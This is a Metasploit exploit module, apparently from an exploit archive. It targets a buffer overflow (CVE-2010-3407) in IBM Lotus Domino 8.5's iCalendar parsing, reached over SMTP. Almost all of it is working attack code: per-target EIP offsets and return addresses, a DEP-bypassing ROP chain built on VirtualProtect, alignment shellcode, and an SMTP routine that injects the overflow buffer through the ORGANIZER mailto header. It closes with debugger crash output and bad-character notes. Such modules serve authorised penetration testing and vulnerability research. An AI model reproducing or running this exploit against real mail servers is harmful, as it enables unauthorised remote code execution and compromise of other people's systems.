IBM Lotus Domino iCalendar – MAILTO Buffer Overflow (Metasploit)
## # $Id: domino_icalendar_organizer.rb 12236 2011-04-04 17:43:34Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "IBM Lotus Domino iCalendar MAILTO Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in IBM Lotus Domino iCalendar. By sending a long string of data as the "ORGANIZER;mailto" header, process "nRouter.exe" crashes due to a Cstrcpy() routine in nnotes.dll, which allows remote attackers to gain arbitrary code execution. Note: In order to trigger the vulnerable code path, a valid Domino mailbox account is needed. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 12236 $", 'Author' => [ 'A. Plaskett', #Initial discovery, poc 'sinn3r', #Metasploit ], 'References' => [ [ 'CVE', '2010-3407' ], [ 'OSVDB', '68040' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-177/' ], [ 'URL', 'http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_overflow/' ], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515' ], ], 'Payload' => { 'BadChars' => [*(0x00..0x08)].pack("C*") + [*(0x10..0x18)].pack("C*") + [*(0x1a..0x1f)].pack("C*") + "\x2c" + [*(0x80..0xff)].pack("C*"), 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => {'BufferRegister'=>'ECX'}, 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'ExitFunction' => "process", }, 'Platform' => 'win', 'Targets' => [ [ 'Lotus Domino 8.5 on Windows 2000 SP4', { 'Offset' => 2374, #Offset to EIP 'Ret' => 0x6030582B, #JMP ECX 'MaxBuffer' => 9010, #Total buffer size } ], [ 'Lotus Domino 8.5 on Windows Server 2003 SP0', { 'Offset' => 2374, #Offset to EIP 'Ret' => 0x6030582B, #JMP ECX (Domino\\nnotes.dll) 'MaxBuffer' => 9010, #Total buffer size } ], [ 'Lotus Domino 8.5 on Windows Server 2003 SP2', { 'Offset' => 2374, #Offset to EIP 'Ret' => 0x604C4222, #ADD AL,0x5E ; RETN 'EAX' => 0x7C35287F, #Initial CALL VirtualProtect addr to align (MSVCR71.dll) 'EaxOffset' => 2342, #Offset to EAX 'RopOffset' => 24, #Offset to ROP gadgets 'MaxBuffer' => 9010, #Total buffer size } ], ], 'DisclosureDate' => "Sep 14 2010", 'DefaultTarget' => 2)) register_options( [ Opt::RPORT(25), OptString.new('MAILFROM', [true, 'Valid Lotus Domino mailbox account', '']), OptString.new('MAILTO', [true, 'Valid Lotus Domino mailbox account', '']), ], self.class) end def check connect banner = sock.get_once(-1,5).chomp disconnect if banner =~ /Lotus Domino Release 8.5/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def exploit sploit = '' if target.name =~ /Windows 2000 SP4/ sploit << rand_text_alpha(934) sploit << payload.encoded sploit << rand_text_alpha((target['Offset']-sploit.length)) sploit << [target.ret].pack('V') sploit << rand_text_alpha((target['MaxBuffer']-sploit.length)) elsif target.name =~ /Server 2003 SP0/ sploit << rand_text_alpha(930) sploit << payload.encoded sploit << rand_text_alpha((target['Offset']-sploit.length)) sploit << [target.ret].pack('V') sploit << rand_text_alpha((target['MaxBuffer']-sploit.length)) elsif target.name =~ /Server 2003 SP2/ #Borrow a "CALL VirtualProtect()" in Domino's MSVCR71.dll to bypass DEP #shellcode max = 1312 bytes rop_gadgets = [ #EAX should be aligned to CALL VirtualProtect at this point 0x604F5728, #MOV DWORD PTR DS:[ECX],EAX; RETN (nnotes.dll) #Set shellcode address 0x6247282B, #MOV EAX,ECX; RETN (nlsccstr.dll) 0x62454F32, #ADD AL,2B; RETN (nlsccstr.dll) 0x603F7B38, #ADD AL,31; RETN (nnotes.dll) 0x624B7040, #MOV DWORD PTR DS:[ECX+4],EAX; RETN (nnotes.dll) #Set RETN value 0x60577B7A, #XCHG EAX,EDX; RETN (nnotes.dll) 0x62452E35, #MOV EAX,ECX; RETN (nlsccstr.dll) 0x60606F4E, #ADD AL,5D; RETN (nlsccstr.dll) 0x603E6260, #DEC EAX; RETN (nnotes.dll) 0x603E6260, #DEC EAX; RETN (nnotes.dll) 0x603E6260, #DEC EAX; RETN (nnotes.dll) 0x603E6260, #DEC EAX; RETN (nnotes.dll) 0x603E6260, #DEC EAX; RETN (nnotes.dll) 0x7C3A4C72, #MOV DWORD PTR DS:[EAX],EDX; RETN (msvcp71.dll) 0x6247282B, #MOV EAX,ECX; RETN (nlsccstr.dll) 0x60253B6D, #XCHG EAX,EBP; RETN (nnotes.dll) #Set Size (0x413) 0x605A4B30, #MOV EAX,205; RETN (nnotes.dll) 0x605A4B30, #MOV EAX,205; RETN (nnotes.dll) 0x60592A36, #ADD EAX,107; RETN (nnotes.dll) 0x603B4C27, #ADD AL,2B; RETN (nnotes.dll) 0x624B7044, #MOV DWORD PTR DS:[ECX+8],EAX; RETN 0x604C5225, #XOR EAX, EAX; RETN #newProtect 0x60386C3C, #MOV AL,3B; RETN (nnotes.dll) 0x624D4C27, #INC EAX; RETN (nlsccstr.dll) 0x624D4C27, #INC EAX; RETN (nlsccstr.dll) 0x624D4C27, #INC EAX; RETN (nlsccstr.dll) 0x624D4C27, #INC EAX; RETN (nlsccstr.dll) 0x624D4C27, #INC EAX; RETN (nlsccstr.dll) 0x624B7048, #MOV DWORD PTR DS:[ECX+C],EAX; RETN #oldProtect 0x602B7353, #MOV EAX,ESI; POP ESI; RETN (nnotes.dll) 0x41414141, #ESI 0x624B704C, #MOV DWORD PTR DS:[ECX+10],EAX; RETN (nlsccstr.dll) #Call VirtualProtect 0x6247282B, #MOV EAX,ECX; RETN (nlsccstr.dll) 0x60276256, #XCHG EAX,ESP; RETN (nnotes.dll) ].pack("V*") align = "\x51" #PUSH ECX align << "\x58" #POP EAX align << "\x34\x43" #XOR AL,43 align << "\x40" #INC EAX align << "\x34\x65" #XOR AL,65 align << "\x50" #PUSH EAX align << "\x59" #POP ECX sploit << rand_text_alpha(1022) sploit << align sploit << payload.encoded sploit << rand_text_alpha((target['EaxOffset']-sploit.length)) sploit << [target['EAX']].pack('V') sploit << rand_text_alpha((target['Offset']-sploit.length)) sploit << [target.ret].pack('V') sploit << rand_text_alpha((target['RopOffset'])) sploit << rop_gadgets sploit << rand_text_alpha((target['MaxBuffer']-sploit.length)) end fname = rand_text_alpha(4) prod_id = rand_text_alpha_upper(5) + "@" + rand_text_alpha_upper(13) + "@" + rand_text_alpha_upper(24) uid = rand_text_alpha_upper(15) summary = rand_text_alpha_upper(5) + "@" + rand_text_alpha_upper(11) status = rand_text_alpha_upper(4) body = "Content-Type: text/calendar; method=COUNTER; charset=UTF-8\r\n" body << "#{fname}.txt\r\n" body << "MIME-Version: 1.0\r\n" body << "Content-Transfer-Encoding: 8bit\r\n" body << "BEGIN:VCALENDAR\r\n" body << "METHOD:COUNTER\r\n" body << "PRODID:-//#{prod_id}//\r\n" body << "VERSION:2.0\r\n" body << "BEGIN:VEVENT\r\n" body << "UID:#{uid}\r\n" body << "SEQ:2\r\n" body << "RRULE:aaaa\r\n" body << "ORGANIZER:mailto:H@#{sploit}.com\r\n" body << "ATTENDEE;:Mailto:#{datastore['MAILTO']}\r\n" body << "SUMMARY:#{summary}\r\n" body << "DTSTART:20091130T093000Z\r\n" body << "DTEND:20091130T093000Z\r\n" body << "DTSTAMP:20091130T083147Z\r\n" body << "LOCATION:Location\r\n" body << "STATUS:#{status}\r\n" body << "END:VEVENT\r\n" body << "END:VCALENDAR\r\n" body << "\r\n.\r\n" commands = { :HELO => "HELO localhost\r\n", :FROM => "MAIL FROM: <#{datastore['MAILFROM']}>\r\n", :RCPT => "RCPT TO: <#{datastore['MAILTO']}>\r\n", :DATA => "DATA\r\n", :MESG => body, :QUIT => "QUIT\r\n", } print_status("Trying target #{target.name}") connect # Get SMTP Banner res = sock.get_once.chomp print_status("Banner: #{res}") # Check banner before trying the exploit if res !~ /Lotus Domino Release 8.5/ print_error("Remote service does not seem to be Lotus Domino 8.5") disconnect return end # Send HELO sock.put(commands[:HELO]) res = sock.get_once print_status("Received: #{res.chomp}") # Set MAIL FROM sock.put(commands[:FROM]) res = sock.get_once print_status("Received: #{res.chomp}") # Set RCPT sock.put(commands[:RCPT]) res = sock.get_once print_status("Received: #{res.chomp}") # Set DATA sock.put(commands[:DATA]) res = sock.get_once print_status("Received: #{res.chomp}") # Send malicious data sock.put(commands[:MESG]) res = sock.get_once # QUIT sock.put(commands[:QUIT]) res = sock.get_once print_status("Received: #{res.chomp}") handler disconnect end end =begin 0:008> r eax=41414141 ebx=00000004 ecx=08da9700 edx=08dab695 esi=06c248bc edi=00000014 eip=42424242 esp=08da9cc0 ebp=41414141 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206 42424242 ?? ??? 0:008> !exchain 08daea2c: nRouter+511bb (004511bb) 08daffdc: kernel32!_except_handler3+0 (77e70abc) CRT scope 0, filter: kernel32!BaseThreadStart+3a (77e4a92d) func: kernel32!BaseThreadStart+4b (77e4a943) Invalid exception stack at ffffffff 0:008> k ChildEBP RetAddr WARNING: Frame IP not in any known module. Following frames may be wrong. 08da9cbc 43434343 0x42424242 08da9cc0 43434343 0x43434343 ... 0:008> bl 0 e 602738f9 0001 (0001) 0:**** nnotes!MailCheck821Address+0xb09 0:008> u 602738f9 nnotes!MailCheck821Address+0xb09: 602738f9 e80239d9ff call nnotes!Cstrcpy (60007200) 602738fe eb02 jmp nnotes!MailCheck821Address+0xb12 (60273902) 60273900 33ff xor edi,edi 60273902 8d8dc0faffff lea ecx,[ebp-540h] 60273908 51 push ecx 60273909 8d95bcf6ffff lea edx,[ebp-944h] 6027390f 52 push edx 60273910 e8eb38d9ff call nnotes!Cstrcpy (60007200) Badchars: 0x01=0x0F21, 0x02=0x0f22, 0x03=0x0f23, 0x04=0x0f24, 0x05=0x0f25, 0x06=0x0f26, 0x07=0x0f27 0x08=0x0f28, 0x0a=nocrash, 0x0b=0x0f2b, 0x0c=0x0f2c, 0x0d=nocrash, 0x0e=0x0f2e 0x0f=0x0f2f, 0x10=0x0f30, 0x11=0x0f31, 0x12=0x0f32, 0x13=0x0f33, 0x14=0x0f34, 0x15=0x0f35, 0x16=0x0f36, 0x17=0x0f37, 0x18=0x0f38, 0x1a=0x0f3a, 0x1b=0x0f3b, 0x1c=0x0f3c, 0x1d=0x0f3d, 0x1e=0x0f3e, 0x1f=0x0f3f, 0x2c=nocrash, 0x80..0xff = "" =end |